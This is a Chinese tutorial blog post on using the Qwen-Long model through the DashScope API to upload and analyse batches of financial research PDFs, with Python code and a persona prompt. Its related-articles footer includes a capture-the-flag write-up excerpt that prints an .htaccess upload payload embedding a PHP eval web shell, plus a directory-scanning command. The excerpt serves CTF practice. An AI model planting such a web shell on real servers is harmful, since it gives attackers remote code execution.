98.1 AI量化开发:长文本AI金融智能体(Qwen-Long)对金融研报大批量处理与智能分析的实战应用

目录

    • 0. 承前
    • 1. 简介
      • 1.1 通义千问(Qwen-Long)的长文本处理能力
    • 2. 基础功能实现
      • 2.1 文件上传
      • 2.2 单文件分析
      • 2.3 多文件分析
    • 3. 汇总代码&运行
      • 3.1 封装的工具函数
      • 3.2 主要功能特点
      • 3.3 使用示例
      • 3.4 首次运行
      • 3.5 运行结果展示
    • 4. 注意事项
      • 4.1 文件要求
      • 4.2 错误处理机制
      • 4.3 最佳实践
    • 5. 总结

0. 承前

本篇博文是对文章,链接:
5. 马科维茨资产组合模型+政策意图AI金融智能体(Qwen-Max)增强方案(理论+Python实战)
6. 马科维茨资产组合模型+政策意图AI金融智能体(DeepSeek-V3)增强方案(理论+Python实战)
的政策信息输入过少而作的改良开发:金融研报导入AI金融智能体,实现批量处理与智能分析

本文主旨:

  • 信息扩充:由于上两篇文章中,AI金融智能体输入信息量过少,因此本文使用长文本大模型(Qwen-Long)来扩充AI智能体的信息输入。
  • 开发过程记录:本文目的是打通大批量金融研报至长文本AI金融智能体(Qwen-Long)的信息通道,并没有实现分析结果对金融资产组合权重的影响,具体实现参考文章:
    7. 马科维茨资产组合模型+金融研报AI长文本智能体(Qwen-Long)增强方案(理论+Python实战)

如果想更加全面清晰地了解金融资产组合模型进化论的体系架构,可参考:
0. 金融资产组合模型进化全图鉴

1. 简介

本文介绍如何使用通义千问大模型(Qwen-long)来批量处理和分析PDF研究报告。通过DashScope API,我们可以让AI模型阅读并分析多个PDF文件,从而获得专业的分析见解。

1.1 通义千问(Qwen-Long)的长文本处理能力

通义千问长文本版本(Qwen-Long)是阿里云推出的专门用于处理长文本的大语言模型,具有以下特点:

  1. 超长上下文支持

    • 支持高达100万token的上下文长度
    • 可以同时处理多个完整的研究报告
    • 保持长文本的连贯性理解
  2. 多文档并行处理

    • 支持多个PDF文件的同时分析
    • 能够综合多份报告的信息
    • 提供跨文档的关联分析
  3. 专业领域适应

    • 对金融研报格式有良好的理解
    • 能准确提取报告中的关键数据
    • 支持专业术语和行业分析
  4. 智能分析能力

    • 提供深度的内容理解和总结
    • 支持多角度的对比分析
    • 能够提炼出有价值的投资见解

这些特性使得Qwen-Long特别适合处理金融研究报告这类专业性强、篇幅长的文档,能够帮助分析师快速获取和理解大量研报信息。

2. 基础功能实现

2.1 文件上传

首先,我们需要实现PDF文件的上传功能。以下代码展示了如何上传单个PDF文件:

import os
from pathlib import Path
from openai import OpenAI

client = OpenAI(
    api_key=os.getenv("DASHSCOPE_API_KEY"),
    base_url="https://dashscope.aliyuncs.com/compatible-mode/v1",
)

file_object = client.files.create(file=Path("百炼系列手机产品介绍.docx"), purpose="file-extract")
print(file_object.id)

2.2 单文件分析

上传文件后,我们可以让模型分析单个文件的内容。这里使用流式返回,可以实时获取模型的分析结果:

completion = client.chat.completions.create(
    model="qwen-long",
    messages=[
        {'role': 'system', 'content': 'You are a helpful assistant.'},
        {'role': 'system', 'content': 'fileid://file-fe-xxx'},
        {'role': 'user', 'content': '这篇文章讲了什么?'}
    ],
    stream=True,
    stream_options={"include_usage": True}
)

full_content = ""
for chunk in completion:
    if chunk.choices and chunk.choices[0].delta.content:
        full_content += chunk.choices[0].delta.content
        print(chunk.model_dump())

2.3 多文件分析

通义千问支持同时分析多个PDF文件,只需在file_id中用逗号分隔多个文件ID:

completion = client.chat.completions.create(
    model="qwen-long",
    messages=[
        {'role': 'system', 'content': 'You are a helpful assistant.'},
        {'role': 'system', 'content': f"fileid://file-fe-xxx1,fileid://file-fe-xxx2"},
        {'role': 'user', 'content': '这几篇文章讲了什么?'}
    ],
    stream=True,
    stream_options={"include_usage": True}
)

3. 汇总代码&运行

3.1 封装的工具函数

我们将上述功能封装成一个完整的工具函数get_ai_comments,支持批量处理PDF文件并进行智能分析:

import os
from pathlib import Path
from openai import OpenAI
from typing import List, Optional

def get_ai_comments(
    character: str,
    path: str,
    question: str,
    api_key: str
) -> str:
    """
    使用AI分析指定路径下的所有PDF报告内容
    
    Args:
        character (str): AI的角色设定
        path (str): 报告所在目录的路径(会被转换为绝对路径)
        question (str): 向AI提出的具体问题
        api_key (str): DashScope API密钥
        
    Returns:
        str: AI的分析结果
    """
    # 初始化 OpenAI 客户端
    client = OpenAI(
        api_key=api_key,
        base_url="https://dashscope.aliyuncs.com/compatible-mode/v1",
    )
    
    # 将路径转换为绝对路径
    abs_path = os.path.abspath(path)
    report_dir = Path(abs_path)
    
    if not report_dir.exists():
        try:
            report_dir.mkdir(parents=True, exist_ok=True)
        except Exception as e:
            raise ValueError(f"创建目录失败: {report_dir}, 错误: {str(e)}")
        return f"已创建目录:{abs_path},请在目录中放入研报。"
    
    # 获取所有PDF文件并上传
    file_ids = []
    pdf_files = list(report_dir.glob("*.pdf"))
    
    if not pdf_files:
        return f"在目录 {report_dir} 中没有找到PDF文件,请先添加需要分析的PDF报告。"
    
    # 检查文件是否可读且非空
    valid_pdf_files = []
    for pdf_file in pdf_files:
        try:
            if pdf_file.stat().st_size > 0:  # 检查文件大小
                valid_pdf_files.append(pdf_file)
        except Exception:
            continue
    
    if not valid_pdf_files:
        return f"在目录中没有找到有效的PDF文件,请确保文件不为空且可以正常读取。"
    
    # 上传有效的PDF文件
    for pdf_file in valid_pdf_files:
        try:
            file_object = client.files.create(
                file=pdf_file,
                purpose="file-extract"
            )
            file_ids.append(file_object.id)
        except Exception:
            continue
    
    if not file_ids:
        return f"所有PDF文件上传失败,请检查文件是否正确或API配置是否正确。"
    
    # 构建file_ids字符串
    file_ids_str = ",".join([f"fileid://{file_id}" for file_id in file_ids])
    
    try:
        # 创建对话完成
        completion = client.chat.completions.create(
            model="qwen-long",
            messages=[
                {'role': 'system', 'content': character},
                {'role': 'system', 'content': file_ids_str},
                {'role': 'user', 'content': question}
            ],
            stream=False  # 使用非流式返回
        )
        
        # 返回分析结果
        return completion.choices[0].message.content
        
    except Exception as e:
        error_msg = str(e)
        if "content blank" in error_msg:
            return f"文件内容提取失败。请检查以下几点:\n1. PDF文件是否为扫描件\n2. PDF文件是否加密\n3. PDF文件编码格式是否正确\n4. PDF文件是否完整未损坏"
        raise Exception(f"调用API时发生错误: {error_msg}")
    
    finally:
        # 清理已上传的文件
        for file_id in file_ids:
            try:
                client.files.delete(file_id)
            except Exception:
                continue 

3.2 主要功能特点

  1. 智能路径处理

    • 自动将相对路径转换为绝对路径
    • 自动创建不存在的目录
    • 提供清晰的路径错误提示
  2. 文件验证机制

    • 检查PDF文件是否存在
    • 验证文件是否可读且非空
    • 支持批量处理多个文件
  3. 错误处理与恢复

    • 详细的错误提示信息
    • 文件上传失败自动跳过
    • 异常情况优雅降级
  4. 资源管理

    • 自动清理上传的文件
    • 内存使用优化
    • 避免资源泄露

3.3 使用示例

  • 基于RPA技术(Robotic Process Automation)获取的准备研报文件
    在这里插入图片描述
    补充:想要找到国内外金融领域的研报,欢迎私信咨询作者。

  • AI人设提示词工程

character = '''
	## 核心定位
	- **角色**:专业研报分析与政策解读专家
	- **专长**:多维度研报解读、跨行业分析、政策影响评估
	- **特点**:数据驱动、逻辑严谨、洞察深入
	
	## 分析框架
	
	### 1. 研报解构
	- 核心观点提炼
	- 关键数据分析
	- 行业趋势判断
	- 风险点识别
	
	### 2. 多维分析
	- 横向:行业对比
	- 纵向:历史演变
	- 政策:影响评估
	- 市场:竞争格局
	
	### 3. 深度研判
	- 发展机遇
	- 潜在风险
	- 投资价值
	- 未来展望
	
	## 输出标准
	
	### 结构化分析
	1. 核心发现
	   - 关键结论
	   - 数据支撑
	   - 趋势判断
	
	2. 深度解读
	   - 行业洞察
	   - 政策影响
	   - 风险提示
	
	3. 专业建议
	   - 投资参考
	   - 策略建议
	   - 风险防范
'''
  • 其他参数
# 配置参数
path = "/portfolio_code/reports/20240321" # 如果无此目录,则会在运行后生成目录,然后把pdf文件放进去
question = "请分析这些报告并给出合理的投资权重分配方案。"
api_key = "your_api_key"

# 获取分析结果
result = get_ai_comments(character, path, question, api_key)
print(result)

3.4 首次运行

首次运行会帮你创建目录,你需要在提示的绝对地址放进pdf格式的研报,即可识别并传输给长文本AI金融智能体。
在这里插入图片描述

3.5 运行结果展示

在这里插入图片描述
输出即为MD格式的文字,由AI人设提示词中的格式限制。

4. 注意事项

4.1 文件要求

  • PDF文件必须是可读取的文本格式
  • 不支持扫描件或加密文件
  • 文件大小必须大于0
  • 文件编码必须正确

4.2 错误处理机制

系统提供了多层次的错误处理:

  1. 目录级别

    • 自动创建不存在的目录
    • 提供目录路径提示
  2. 文件级别

    • 跳过无效文件
    • 详细的文件错误提示
  3. API级别

    • 处理API调用异常
    • 提供具体错误信息

4.3 最佳实践

  1. 路径管理

    • 建议优先使用绝对路径
    • 运行代码可创建目录并提示目录路径
    • 确保目录权限正确
  2. 文件处理

    • 预先验证PDF文件有效性
    • 控制单次处理文件数量
    • 目录下的所有pdf文件都会被传输给AI
  3. API使用

    • 合理设置AI人设提示词工程
    • 构造清晰的问题

5. 总结

通过使用通义千问大模型,我们实现了一个强大的PDF研报分析工具。该工具具有以下优势:

  1. 功能完整

    • 支持单文件和多文件分析
    • 提供灵活的API调用方式
    • 完整的错误处理机制
  2. 使用便捷

    • 简单的函数调用
    • 清晰的参数设置
    • 友好的错误提示
  3. 可靠性高

    • 自动处理异常情况
    • 资源自动清理
    • 稳定的运行表现

这个解决方案适合在实际项目中使用,可以高效地处理大量PDF研究报告,为投资决策提供有力支持。
基于本文代码思路,金融资产组合模型的实战落地:
7. 马科维茨资产组合模型+金融研报AI长文本智能体(Qwen-Long)增强方案(理论+Python实战)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/960823.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

[ACTF2020 新生赛]BackupFile1

题目 翻译&#xff0c;尝试找出源文件&#xff01; 扫目录使用参数-e * python dirsearch.py -u http://0c3b21c0-d360-4baa-8b97-aa244f4c4825.node5.buuoj.cn:81/ -e * 最终扫描到一个文件名为&#xff1a;/index.php.bak的文件&#xff0c;把备份文件下载下来 源码 <?…

[JMCTF 2021]UploadHub

题目 上传.htaccess就是修改配置文件 <FilesMatch .htaccess> SetHandler application/x-httpd-php Require all granted php_flag engine on </FilesMatch>php_value auto_prepend_file .htaccess #<?php eval($_POST[md]);?>SetHandler和ForceType …

Flink运行时架构

一、系统架构 1&#xff09;作业管理器&#xff08;JobManager&#xff09; JobManager是一个Flink集群中任务管理和调度的核心&#xff0c;是控制应用执行的主进程。也就是说&#xff0c;每个应用都应该被唯一的JobManager所控制执行。 JobManger又包含3个不同的组件。 &am…

高可用集群故障之join

本文记录了在部署高可用的k8s集群时&#xff0c;遇到的一个故障及其解决方法。 集群环境 描述&#xff1a;三主三从&#xff0c;eth0为外网网卡&#xff0c;eth1为内网网卡&#xff0c;内网互通。 需求&#xff1a;eth0只负责访问外网&#xff0c;eth1作为集群间的通信。 主…

MySQL的复制

一、概述 1.复制解决的问题是让一台服务器的数据与其他服务器保持同步&#xff0c;即主库的数据可以同步到多台备库上&#xff0c;备库也可以配置成另外一台服务器的主库。这种操作一般不会增加主库的开销&#xff0c;主要是启用二进制日志带来的开销。 2.两种复制方式&#xf…

STM32新建不同工程的方式

新建工程的方式 1. 安装开发工具 MDK5 / keil52. CMSIS 标准3. 新建工程3.1 寄存器版工程3.2 标准库版工程3.3 HAL/LL库版工程3.4 HAL库、LL库、标准库和寄存器对比3.5 库开发和寄存器的关系 4. STM32CubeMX工具的作用 1. 安装开发工具 MDK5 / keil5 MDK5 由两个部分组成&#…

「数学::质数」分解质因子 / LeetCode 2521(C++)

概述 由算数基本定理&#xff0c;我们知道任意一个大于1的自然数可以表示为一些质数的乘积&#xff1a; LeetCode 2521&#xff1a; 给你一个正整数数组 nums &#xff0c;对 nums 所有元素求积之后&#xff0c;找出并返回乘积中 不同质因数 的数目。 注意&#xff1a; 质数 是…

CAN波特率匹配

STM32 LinuxIMX6ull&#xff08;Linux&#xff09;基于can-utils测试

【开源免费】基于SpringBoot+Vue.JS在线考试学习交流网页平台(JAVA毕业设计)

本文项目编号 T 158 &#xff0c;文末自助获取源码 \color{red}{T158&#xff0c;文末自助获取源码} T158&#xff0c;文末自助获取源码 目录 一、系统介绍二、数据库设计三、配套教程3.1 启动教程3.2 讲解视频3.3 二次开发教程 四、功能截图五、文案资料5.1 选题背景5.2 国内…

【GESP】2024 C++ 一级编程题解析及测试信息下载

文章目录 一、前言二、问题问题&#xff1a;[GESP202403 一级] 小杨买书问题&#xff1a;[GESP202403 一级] 找因数问题&#xff1a; [GESP202406 一级] 休息时间问题&#xff1a;[GESP202406 一级] 立方数问题&#xff1a;[GESP202409 一级] 小杨购物问题&#xff1a;[GESP202…

可扩展架构:如何打造一个善变的柔性系统?

系统的构成:模块 + 关系 我们天天和系统打交道,但你有没想过系统到底是什么?在我看来,系统内部是有明确结构 的,它可以简化表达为: 系统 = 模块 + 关系 在这里,模块是系统的基本组成部分,它泛指子系统、应用、服务或功能模块。关系指模块 之间的依赖关系,简单…

蓝桥杯练习日常|递归-进制转换

蓝桥云课760数的计算 一、递归 题目&#xff1a; 我的解题代码&#xff1a; #include <iostream> using namespace std; int sum0; int main() {// 请在此输入您的代码int n;cin>>n;int fun(int n);fun(n); cout<<sum<<\n;return 0; } // void fu…

分享|instructionfine-tuning 指令微调是提高LLM性能和泛化能力的通用方法

《生成式AI导论》课程中&#xff0c;李宏毅老师提到一篇关于“ instruction fine-tuning” 指令微调的论文&#xff1a; 《Scaling Instruction-Finetuned Language Models》 摘要分享&#xff1a; 事实证明&#xff0c; 在一组以指令形式表达的数据集上微调语言模型可以提…

RK3588平台开发系列讲解(ARM篇)ARM64底层中断处理

文章目录 一、异常级别二、异常分类2.1、同步异常2.2、异步异常三、中断向量表沉淀、分享、成长,让自己和他人都能有所收获!😄 一、异常级别 ARM64处理器确实定义了4个异常级别(Exception Levels, EL),分别是EL0到EL3。这些级别用于管理处理器的特权级别和权限,级别越高…

我的2024年年度总结

序言 在前不久&#xff08;应该是上周&#xff09;的博客之星入围赛中铩羽而归了。虽然心中颇为不甘&#xff0c;觉得这一年兢兢业业&#xff0c;每天都在发文章&#xff0c;不应该是这样的结果&#xff08;连前300名都进不了&#xff09;。但人不能总抱怨&#xff0c;总要向前…

On to OpenGL and 3D computer graphics

2. On to OpenGL and 3D computer graphics 声明&#xff1a;该代码来自&#xff1a;Computer Graphics Through OpenGL From Theory to Experiments&#xff0c;仅用作学习参考 2.1 First Program Square.cpp完整代码 /// // square.cpp // // OpenGL program to draw a squ…

Shell编程(for循环+并发问题+while循环+流程控制语句+函数传参+函数变量+函数返回值+反向破解MD5)

本篇文章继续给大家介绍Shell编程&#xff0c;包括for循环、并发问题&#xff0c;while循环&#xff0c;流程控制语句&#xff0c;函数传参、函数变量、函数返回值&#xff0c;反向破解MD5等内容。 1.for循环 for 变量 in [取值列表] 取值列表可以是数字 字符串 变量 序列…

若依路由配置教程

1. 路由配置文件 2. 配置内容介绍 { path: "/tool/gen-edit", component: Layout, //在路由下&#xff0c;引用组件的名称&#xff0c;在页面中包括这个组件的内容(页面框架内容) hidden: true, //此页面的内容&#xff0c;在左边的菜单中不用显示。 …

C++学习——认识和与C的区别

目录 前言 一、什么是C 二、C关键字 三、与C语言不同的地方 3.1头文件 四、命名空间 4.1命名空间的概念写法 4.2命名空间的访问 4.3命名空间的嵌套 4.4命名空间在实际中的几种写法 五、输入输出 5.1cout 5.2endl 5.3cin 总结 前言 开启新的篇章&#xff0c;这里…

从0到1:C++ 开启游戏开发奇幻之旅(一)

目录 为什么选择 C 进行游戏开发 性能卓越 内存管理精细 跨平台兼容性强 搭建 C 游戏开发环境 集成开发环境&#xff08;IDE&#xff09; Visual Studio CLion 图形库 SDL&#xff08;Simple DirectMedia Layer&#xff09; SFML&#xff08;Simple and Fast Multim…